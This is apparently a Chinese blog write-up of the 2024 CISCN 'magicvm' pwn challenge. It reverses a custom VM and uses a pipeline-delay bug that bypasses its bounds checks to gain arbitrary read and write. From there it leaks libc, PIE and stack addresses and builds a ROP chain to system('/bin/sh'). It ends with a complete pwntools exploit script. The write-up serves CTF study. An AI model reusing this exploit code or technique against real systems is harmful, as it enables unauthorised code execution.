2024 cicsn magicvm

参考

https://forum.butian.net/share/3048
https://akaieurus.github.io/2024/05/20/2024%E5%9B%BD%E8%B5%9B%E5%88%9D%E8%B5%9Bpwn-wp/#SuperHeap

检查

在这里插入图片描述

逆向

vm::run

__int64 __fastcall vm::run(vm *my_vm)
{
  __int64 v1; // rax
  int v3; // [rsp+1Ch] [rbp-4h]

  while ( 1 )
  {
    vm_alu::set_input(my_vm->vm_alu, my_vm);
    vm_mem::set_input(my_vm->vm_mem, my_vm);
    my_vm->pc += (int)vm_id::run(my_vm->vm_id, my_vm);// 识别当前指令并返回长度
    v3 = vm_alu::run(my_vm->vm_alu, my_vm);     // 执行当前指令,得到临时结果
    vm_mem::run(my_vm->vm_mem);                 // 将结果转换到对应的位置中去
    if ( !v3 )
      break;
    if ( v3 == -1 )
    {
      v1 = std::operator<<<std::char_traits<char>>(&std::cout, "SOME STHING WRONG!!");
      std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
      exit(0);
    }
  }
  return 0LL;
}

vm::vm

void __fastcall vm::vm(vm *my_vm)
{
  struct vm_id *vm_id; // rax
  struct vm_alu *vm_alu; // rax
  vm_mem *v3; // rax
  __int64 i; // rdx

  my_vm->code_base = mmap(0LL, 0x6000uLL, 3, 34, -1, 0LL);
  my_vm->data_base = my_vm->code_base + 0x2000LL;
  my_vm->stack_base = my_vm->data_base + 0x3000LL;
  my_vm->data_size = 0x3000LL;
  my_vm->code_size = 0x2000LL;
  my_vm->stack_size = 0x1000LL;
  vm_id = (struct vm_id *)operator new(0x28uLL);
  LODWORD(vm_id->isvalid_id) = 0;
  vm_id->opcode = 0LL;
  vm_id->optype = 0LL;
  vm_id->arg1 = 0LL;
  vm_id->arg2 = 0LL;
  my_vm->vm_id = vm_id;
  vm_alu = (struct vm_alu *)operator new(0x50uLL);
  *(_OWORD *)&vm_alu->isvali_id = 0LL;
  *(_OWORD *)&vm_alu->optype = 0LL;
  *(_OWORD *)&vm_alu->arg2 = 0LL;
  *(_OWORD *)&vm_alu->content_change_addr = 0LL;
  *(_OWORD *)&vm_alu->stack_ptr_addr = 0LL;
  my_vm->vm_alu = vm_alu;
  v3 = (vm_mem *)operator new(0x28uLL);
  v3->is_valid = 0;
  v3->value_to_addr_time = 0;
  for ( i = 0LL; ; ++i )
  {
    v3->val_to_ad[i].addr = 0LL;
    v3->val_to_ad[i].value = 0LL;
    if ( i == 1 )
      break;
  }
  my_vm->vm_mem = v3;
}

vm_alu::set_input

vm_alu *__fastcall vm_alu::set_input(vm_alu *my_vm_alu, vm *my_vm)
{
  vm_id *vm_id; // rdx
  vm_alu *result; // rax
  __int64 opcode; // rbx
  __int64 arg1; // rbx

  vm_id = my_vm->vm_id;
  result = my_vm_alu;
  opcode = vm_id->opcode;
  my_vm_alu->isvali_id = vm_id->isvalid_id;
  my_vm_alu->opcode = opcode;
  arg1 = vm_id->arg1;
  my_vm_alu->optype = vm_id->optype;
  my_vm_alu->arg1 = arg1;
  my_vm_alu->arg2 = vm_id->arg2;
  return result;
}

vm_mem::set_input

vm_mem *__fastcall vm_mem::set_input(vm_mem *my_vm_men, vm *my_vm)
{
  vm_alu *vm_alu; // rdx
  vm_mem *result; // rax
  _QWORD *content_change_addr; // rbx
  _QWORD *stack_ptr_addr; // rbx

  vm_alu = my_vm->vm_alu;
  result = my_vm_men;
  content_change_addr = vm_alu->content_change_addr;
  *(_QWORD *)&my_vm_men->is_valid = *(_QWORD *)&vm_alu->isvalid_alu;
  my_vm_men->val_to_ad[0].addr = content_change_addr;
  stack_ptr_addr = vm_alu->stack_ptr_addr;
  my_vm_men->val_to_ad[0].value = vm_alu->alu_result;
  my_vm_men->val_to_ad[1].addr = stack_ptr_addr;
  my_vm_men->val_to_ad[1].value = vm_alu->stack_ptr_after_change;
  return result;
}

vm_id::run

__int64 __fastcall vm_id::run(vm_id *my_vm_id, vm *my_vm)
{
  char *my_vm_pc; // rax
  char *optype_pc_1; // rax
  int v4; // eax
  char *first_value_pc_1; // rax
  char *first_value_pc_2; // rax
  int v7; // eax
  char *optype_pc_2; // rax
  char opcode; // [rsp+18h] [rbp-18h]
  char optype; // [rsp+19h] [rbp-17h]
  char first_value; // [rsp+1Ah] [rbp-16h]
  char first_value_1; // [rsp+1Ah] [rbp-16h]
  char second_valuea; // [rsp+1Ah] [rbp-16h]
  char second_valueb; // [rsp+1Ah] [rbp-16h]
  char value1; // [rsp+1Ah] [rbp-16h]
  char optype_1; // [rsp+1Bh] [rbp-15h]
  unsigned int change_pc; // [rsp+1Ch] [rbp-14h]
  _BYTE *optype_pc; // [rsp+20h] [rbp-10h]
  char *arg_value_pc; // [rsp+20h] [rbp-10h]
  char *value1_pc; // [rsp+20h] [rbp-10h]

  my_vm_pc = (char *)(my_vm->code_base + my_vm->pc);// 指令位置指针,按字节识别
  optype_pc = my_vm_pc + 1;
  opcode = *my_vm_pc;
  change_pc = 1;
  if ( *my_vm_pc <= 0 || opcode > 8 )
  {
    if ( opcode <= 8 || opcode > 10 )
    {
      if ( opcode && opcode != 11 )
      {
        my_vm_id->opcode = -1LL;
      }
      else
      {
        my_vm_id->opcode = opcode;              // 11 nop指令
        my_vm_id->optype = 0LL;
        my_vm_id->arg1 = 0LL;
        my_vm_id->arg2 = 0LL;
      }
    }
    else
    {                                           // 9-10 push pop
      optype_pc_2 = my_vm_pc + 1;
      value1_pc = optype_pc + 1;
      optype_1 = *optype_pc_2;
      change_pc = 2;
      my_vm_id->optype = *optype_pc_2;
      if ( (optype_1 & 3) == 2 )                // value为reg的标号
      {
        change_pc = 3;
        value1 = *value1_pc;
        if ( vm_id::check_regs(my_vm_id, *value1_pc, my_vm) )// 检查标号是否小于等于3
        {
          my_vm_id->opcode = opcode;
          my_vm_id->arg1 = value1;
          my_vm_id->arg2 = 0LL;
        }
        else                                    // 否则标号越界,错误
        {
          my_vm_id->opcode = -1LL;
        }
      }
      else                                      //  optype只能为寄存器类型,否则错误
      {
        my_vm_id->opcode = -1LL;
      }
      if ( (my_vm->stack_ptr & 7LL) != 0 )      // 八对齐,否则错误
        my_vm_id->opcode = -1LL;
      if ( opcode == 9 )                        // stack_ptr从零开始,相对地址从stack_base
      {
        if ( my_vm->stack_ptr >= my_vm->stack_size || my_vm->stack_ptr <= 7uLL )
          my_vm_id->opcode = -1LL;              // push的话要判断stack_ptr还有多余的8可以减去,并且要在stack_size里面,从零开始
      }
      else if ( (unsigned __int64)(my_vm->stack_size - 8LL) < my_vm->stack_ptr )
      {                                         // pop的话判断stack_ptr+8不会超过stack_size上界
        my_vm_id->opcode = -1LL;
      }
    }
  }
  else                                          // 1-8
  {
    optype_pc_1 = my_vm_pc + 1;
    arg_value_pc = optype_pc + 1;
    optype = *optype_pc_1;
    change_pc = 2;
    my_vm_id->optype = *optype_pc_1;
    v4 = optype & 3;
    if ( v4 == 2 )                              // value是寄存器下标
    {
      change_pc = 3;
      first_value_pc_1 = arg_value_pc++;        // 杀千刀的,这里的值是+之前的
      first_value = *first_value_pc_1;
      if ( vm_id::check_regs(my_vm_id, *first_value_pc_1, my_vm) )
      {
        my_vm_id->opcode = opcode;
        my_vm_id->arg1 = first_value;
      }
      else
      {
        my_vm_id->opcode = -1LL;
      }
    }
    else if ( v4 == 3 )                         // value也是寄存器下标,要检查寄存器中值是否超过地址界限
    {
      change_pc = 3;
      first_value_pc_2 = arg_value_pc++;
      first_value_1 = *first_value_pc_2;
      if ( vm_id::check_addr(my_vm_id, my_vm->regist[*first_value_pc_2], my_vm) )
      {
        my_vm_id->opcode = opcode;
        my_vm_id->arg1 = first_value_1;
      }
      else
      {
        my_vm_id->opcode = -1LL;
      }
    }
    else
    {
      my_vm_id->opcode = -1LL;
    }
    if ( my_vm_id->opcode != -1LL )
    {
      v7 = (optype >> 2) & 3;
      if ( v7 == 3 )
      {                                         // 参数是寄存器的下标
        ++change_pc;
        second_valueb = *arg_value_pc;
        if ( vm_id::check_addr(my_vm_id, my_vm->regist[*arg_value_pc], my_vm) )
          my_vm_id->arg2 = second_valueb;
        else
          my_vm_id->opcode = -1LL;
      }
      else
      {
        if ( ((optype >> 2) & 3u) > 3 )         // 类型大于3不存在
        {
LABEL_25:
          my_vm_id->opcode = -1LL;
          goto LABEL_45;
        }
        if ( v7 == 1 )                          // 参数是立即数
        {
          change_pc += 8;                       // pc要变化八个字节,八个字节存立即数
          my_vm_id->arg2 = *(_QWORD *)arg_value_pc;
        }
        else
        {
          if ( v7 != 2 )
            goto LABEL_25;
          ++change_pc;                          // 是寄存器
          second_valuea = *arg_value_pc;
          if ( vm_id::check_regs(my_vm_id, *arg_value_pc, my_vm) )
            my_vm_id->arg2 = second_valuea;
          else
            my_vm_id->opcode = -1LL;
        }
      }
    }
  }
LABEL_45:
  LODWORD(my_vm_id->isvalid_id) = 1;
  return change_pc;
}
_BOOL8 __fastcall vm_id::check_regs(vm_id *this, unsigned __int64 a2, vm *a3)
{
  return a2 <= 3;
}
_BOOL8 __fastcall vm_id::check_addr(vm_id *this, unsigned __int64 a2, vm *a3)
{
  return a3->data_size - 8LL >= a2;             // 地址少八,是因为地址内容是包括后面的八个字节内容
}

vm_alu::run

__int64 __fastcall vm_alu::run(vm_alu *my_vm_alu, vm *my_vm)
{
  __int64 arg2_type; // rax
  __int64 arg1_type; // rax
  unsigned __int64 opcode; // rax

  if ( !LODWORD(my_vm_alu->isvali_id) )
    return 1LL;
  if ( my_vm_alu->opcode && my_vm_alu->opcode <= 8uLL )
  {
    arg2_type = (my_vm_alu->optype >> 2) & 3LL;
    if ( arg2_type == 3 )
    {                                           // 参数为寄存器存的地址的值
      my_vm_alu->arg2 = *(_QWORD *)(my_vm->data_base + my_vm->regist[my_vm_alu->arg2]);
    }
    else if ( arg2_type != 1 )
    {
      if ( arg2_type != 2 )
        return 0xFFFFFFFFLL;
      my_vm_alu->arg2 = my_vm->regist[my_vm_alu->arg2];// 寄存器存的值
    }
    arg1_type = my_vm_alu->optype & 3LL;
    if ( arg1_type == 2 )
    {
      my_vm_alu->value_to_addr_time = 1;        // 只要修改一次地址的内容
      my_vm_alu->content_change_addr = &my_vm->regist[my_vm_alu->arg1];// 存储寄存器的值在vm结构体里的地址
      my_vm_alu->arg1 = my_vm->regist[my_vm_alu->arg1];
    }
    else
    {
      if ( arg1_type != 3 )
        return 0xFFFFFFFFLL;
      if ( (my_vm_alu->optype & 0xCLL) == 12 )
        return 0xFFFFFFFFLL;
      my_vm_alu->value_to_addr_time = 1;
      my_vm_alu->content_change_addr = (_QWORD *)(my_vm->data_base + my_vm->regist[my_vm_alu->arg1]);// 存储参数所在地址
      my_vm_alu->arg1 = *(_QWORD *)(my_vm->data_base + my_vm->regist[my_vm_alu->arg1]);// 存储地址的参数内容
    }
    switch ( my_vm_alu->opcode )
    {
      case 1LL:
        my_vm_alu->alu_result = my_vm_alu->arg2 + my_vm_alu->arg1;
        break;
      case 2LL:
        my_vm_alu->alu_result = my_vm_alu->arg1 - my_vm_alu->arg2;
        break;
      case 3LL:
        my_vm_alu->alu_result = my_vm_alu->arg1 << my_vm_alu->arg2;
        break;
      case 4LL:
        my_vm_alu->alu_result = my_vm_alu->arg1 >> my_vm_alu->arg2;
        break;
      case 5LL:
        my_vm_alu->alu_result = my_vm_alu->arg2;
        break;
      case 6LL:
        my_vm_alu->alu_result = my_vm_alu->arg2 & my_vm_alu->arg1;
        break;
      case 7LL:
        my_vm_alu->alu_result = my_vm_alu->arg2 | my_vm_alu->arg1;
        break;
      case 8LL:
        my_vm_alu->alu_result = my_vm_alu->arg2 ^ my_vm_alu->arg1;
        break;
      default:
        goto exit;
    }
    goto exit;
  }
  opcode = my_vm_alu->opcode;
  if ( opcode == 11 )
  {
    my_vm_alu->isvalid_alu = 0;
    return 1LL;
  }
  if ( opcode > 0xB )                           // 大于11无效opcode
    return 0xFFFFFFFFLL;
  if ( opcode == 10 )                           // pop
  {
    my_vm_alu->value_to_addr_time = 2;
    my_vm_alu->content_change_addr = &my_vm->regist[my_vm_alu->arg1];// 得到寄存器内容的地址,pop会修改寄存器
    my_vm_alu->alu_result = *(_QWORD *)(my_vm->stack_base + my_vm->stack_ptr);
    my_vm_alu->stack_ptr_addr = &my_vm->stack_ptr;
    my_vm_alu->stack_ptr_after_change = my_vm->stack_ptr + 8LL;
    goto exit;
  }
  if ( !opcode )
  {
    my_vm_alu->isvalid_alu = 0;
    return 0LL;
  }
  if ( opcode != 9 )
    return 0xFFFFFFFFLL;
  my_vm_alu->value_to_addr_time = 2;            // push
  my_vm_alu->content_change_addr = (_QWORD *)(my_vm->stack_base + my_vm->stack_ptr - 8LL);
  my_vm_alu->alu_result = my_vm->regist[my_vm_alu->arg1];
  my_vm_alu->stack_ptr_addr = &my_vm->stack_ptr;
  my_vm_alu->stack_ptr_after_change = my_vm->stack_ptr - 8LL;
exit:
  my_vm_alu->isvalid_alu = 1;
  return 1LL;
}

vm_mem::run

__int64 __fastcall vm_mem::run(vm_mem *my_vm_men)
{
  __int64 result; // rax
  int i; // [rsp+1Ch] [rbp-4h]

  result = (unsigned int)my_vm_men->is_valid;   // alu是否成功执行
  if ( (_DWORD)result )
  {
    for ( i = 0; ; ++i )
    {
      result = (unsigned int)my_vm_men->value_to_addr_time;// 第一次赋值改变的寄存器
                                                // 第二次赋值改变栈地址
      if ( i >= (int)result )
        break;
      *my_vm_men->val_to_ad[i].addr = my_vm_men->val_to_ad[i].value;// 赋值
    }
  }
  return result;
}

漏洞

存在延迟,有个依赖关系,各个结构体的isvalid变量,代表前一步是否执行完
分为三个阶段

  • 解析得到vid(存在检查,寄存器的标号和寄存器存储的内容(访问的地址)不能超过data_size)
  • 执行得到alu
  • 改变值得到mem

vid和改变值不是立即发生的,解析得到vid之后改变参数值(之前的指令到达mem步),那么就可以绕过vid中对参数的检查

思路

  • 任意地址写通过寄存器存储:你要写的地址-database的值,然后通过mem方式mov [寄存器+database], 值或寄存器 就可以将值写入任意地址
  • 任意地址读也差不多,寄存器存储:你要读的地址-database的值,然后通过mem方式mov 寄存器,[寄存器+database],然后寄存器就是你要读的地址里的内容了

泄露libc地址
在这里插入图片描述
在这里插入图片描述

泄露database的地址
在这里插入图片描述
泄露environ地址
在这里插入图片描述
在这里插入图片描述
得到environ内的栈地址

在这里插入图片描述
得到对应的返回地址
在这里插入图片描述
泄露pie地址
在这里插入图片描述
得到pie基地址
在这里插入图片描述
控制到database在vm上的位置
在这里插入图片描述
往database在vm结构体所在地址写入栈的返回地址所在地址
在这里插入图片描述
写入ret
在这里插入图片描述
写入pop rdi ret
在这里插入图片描述
写入/bin/sh
在这里插入图片描述
写入system地址
在这里插入图片描述
最后没有指令可以执行vm::run退出会执行之前写入的rop,最后这里加个ret是system执行时候对齐
在这里插入图片描述
结果
在这里插入图片描述

参考的exp

from pwn import *
context.log_level='debug'
context.os='linux'
context.arch='amd64'


def inst():
    return 1

def mem():
    return 3

def reg():
    return 2

def args(flag1,flag2,arg1,arg2):
    var=(flag1|(flag2<<2)).to_bytes(1,'little')+arg1.to_bytes(1,'little')
    if flag2==1:
        return var+p64(arg2)
    else:
        return var+arg2.to_bytes(1,'little')

def arg(flag,arg):
    var=flag.to_bytes(1,'little')
    if flag==1:
        return var+p64(arg)
    else:
        return var+arg.to_bytes(1,'little')

def add(arg):
    return b'\x01'+arg

def sub(arg):
    return b'\x02'+arg

def rshift(arg):
    return b'\x03'+arg

def lshift(arg):
    return b'\x04'+arg

def mov(arg):
    return b'\x05'+arg

def andd(arg):
    return b'\x06'+arg

def orr(arg):
    return b'\x07'+arg

def xor(arg):
    return b'\x08'+arg

def pop(arg):
    return b'\x09'+arg

def push(arg):
    return b'\x0a'+arg

def nop():
    return b'\x0b'


p=process('./pwn')
libc=ELF('./libc.so.6')

# libcbase
code=mov(args(reg(),inst(),0,0x27ff8))
code+=nop()
code+=mov(args(reg(),mem(),1,0))
code+=nop()
code+=sub(args(reg(),inst(),1,0x459a0))
code+=nop()

# gap
code+=mov(args(reg(),inst(),0,0))
code+=nop()
code+=nop()

# membase
code+=mov(args(reg(),inst(),0,0x28020))
code+=nop()
code+=mov(args(reg(),mem(),2,0))
code+=nop()
code+=sub(args(reg(),inst(),2,0xc040))
code+=nop()

# gap
code+=mov(args(reg(),inst(),0,0))
code+=nop()
code+=nop()

# save libcbase membase
code+=mov(args(mem(),reg(),0,1))
code+=nop()
code+=mov(args(reg(),inst(),0,8))
code+=nop()
code+=mov(args(mem(),reg(),0,2))
code+=nop()

# stack cal
code+=mov(args(reg(),inst(),0,0x222200))
code+=nop()
code+=add(args(reg(),reg(),1,0))
code+=nop()
code+=sub(args(reg(),reg(),1,2))
code+=nop()

# gap
code+=mov(args(reg(),inst(),0,0))
code+=nop()
code+=nop()

# stack
code+=mov(args(reg(),reg(),0,1))
code+=nop()
code+=mov(args(reg(),mem(),1,0))
code+=nop()
code+=sub(args(reg(),inst(),1,0x130))
code+=nop()

# gap
code+=mov(args(reg(),inst(),0,0))
code+=nop()
code+=nop()

# pie
code+=mov(args(reg(),reg(),3,1))
code+=nop()
code+=sub(args(reg(),reg(),3,2))
code+=nop()
code+=mov(args(reg(),reg(),0,3))
code+=nop()
code+=mov(args(reg(),mem(),3,0))
code+=nop()
code+=sub(args(reg(),inst(),3,0x1ddd))
code+=nop()
code+=add(args(reg(),inst(),3,0x4200-8))
code+=nop()

# gap
code+=mov(args(reg(),inst(),0,0))
code+=nop()
code+=nop()

# change membase
code+=sub(args(reg(),reg(),3,2))
code+=nop()
code+=mov(args(reg(),mem(),2,0))
code+=nop()
code+=mov(args(reg(),reg(),0,3))
code+=nop()
code+=mov(args(mem(),reg(),0,1))
code+=nop()

# gap
code+=mov(args(reg(),inst(),3,0))
code+=nop()
code+=nop()

rdi=0x2a3e5
ret=0x29139
bin_sh=next(libc.search(b'/bin/sh\x00'))
system=libc.symbols['system']
# rop
code+=mov(args(reg(),reg(),1,2))
code+=nop()
code+=add(args(reg(),inst(),1,ret))
code+=nop()
code+=mov(args(reg(),inst(),3,0))
code+=nop()
code+=mov(args(mem(),reg(),3,1))
code+=nop()

code+=mov(args(reg(),reg(),1,2))
code+=nop()
code+=add(args(reg(),inst(),1,rdi))
code+=nop()
code+=mov(args(reg(),inst(),3,8))
code+=nop()
code+=mov(args(mem(),reg(),3,1))
code+=nop()

code+=mov(args(reg(),reg(),1,2))
code+=nop()
code+=add(args(reg(),inst(),1,bin_sh))
code+=nop()
code+=mov(args(reg(),inst(),3,0x10))
code+=nop()
code+=mov(args(mem(),reg(),3,1))
code+=nop()

code+=mov(args(reg(),reg(),1,2))
code+=nop()
code+=add(args(reg(),inst(),1,system))
code+=nop()
code+=mov(args(reg(),inst(),3,0x18))
code+=nop()
code+=mov(args(mem(),reg(),3,1))
code+=nop()

# end
code+=nop()
code+=nop()

#gdb.attach(p)
p.sendafter(b'plz input your vm-code\n',code)
p.interactive()

  • 36
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

看星猩的柴狗

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值